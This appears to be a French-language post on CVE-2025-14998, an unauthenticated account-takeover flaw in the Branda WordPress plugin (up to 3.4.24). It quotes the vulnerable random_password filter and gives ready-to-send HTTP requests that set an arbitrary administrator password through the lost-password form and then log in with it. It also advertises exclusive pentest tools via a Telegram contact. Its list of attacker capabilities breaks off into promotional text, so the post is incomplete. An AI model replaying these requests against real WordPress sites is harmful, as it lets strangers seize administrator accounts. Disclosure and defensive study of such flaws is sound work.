
CVE-2025-14998 Plugin WordPress - Branda – White Label & Branding, Free Login Page Customizer <= 3.4.24 - Élévation de privilèges non authentifiée via prise de contrôle de compte
CVE-2025-14998 Le plugin Branda pour WordPress est vulnérable à une escalade de privilèges via prise de contrôle de compte dans toutes les versions jusqu'à la 3.4.24 incluse. Cela est dû au fait que le plugin ne valide pas correctement l'identité d'un utilisateur avant de mettre à jour son mot de passe. Cela permet à des attaquants non authentifiés de modifier les mots de passe d'utilisateurs arbitraires, y compris les administrateurs, et de s'en servir pour accéder à leur compte.
Pour plus de vulnérabilités WordPress et d'outils de pentest exclusifs, contactez-moi sur Telegram @KtN1990.
Le plugin remplace la logique de génération de mot de passe de WordPress en se raccrochant au filtre random_password. Au lieu de permettre à WordPress de générer un mot de passe aléatoire sécurisé, le plugin le remplace par une entrée contrôlée par l'utilisateur.
public function password_random_password_filter( $password ) {
global $wpdb, $signup_password_use_encryption;
if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
$key = $_GET['key'];
} elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
$key = $_POST['key'];
}
if ( ! empty( $_POST['password_1'] ) ) {
$password = $_POST['password_1'];
} elseif ( ! empty( $key ) ) {
$signup = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
$key
)
);
if ( ! ( empty( $signup ) || $signup->active ) ) {
$meta = maybe_unserialize( $signup->meta );
if ( ! empty( $meta['password'] ) ) {
if ( 'yes' === $signup_password_use_encryption ) {
$password = $this->password_decrypt( $meta['password'] );
} else {
$password = $meta['password'];
}
}
}
}
return $password;
}
POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded
user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password
La valeur de password_1 peut être n'importe quelle chaîne contrôlée par l'attaquant.
GET /wp/wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp HTTP/1.1
Host: example.local
Aucun accès aux e-mails ou jeton de réinitialisation de mot de passe valide n'est requis.
Un attaquant non authentifié peut :

-🛡️ Idéal pour : – Chercheurs en sécurité – Testeurs de pénétration – Hackers éthiques
📦 Ligne maintenue avec ~230 modules de recherche hérités ; améliorations récentes du cœur du scanner pour la stabilité et la détection.
🎯 Objectif : Fourni strictement pour les tests de sécurité autorisés, l'éducation, la recherche défensive et la formation d'équipe rouge. Cette version n'est pas destinée à un usage illégal. La distribution est contrôlée — accès uniquement après vérification et signature d'un accord d'utilisation responsable / NDA.
-🛡 Politique d'accès responsable (résumé) :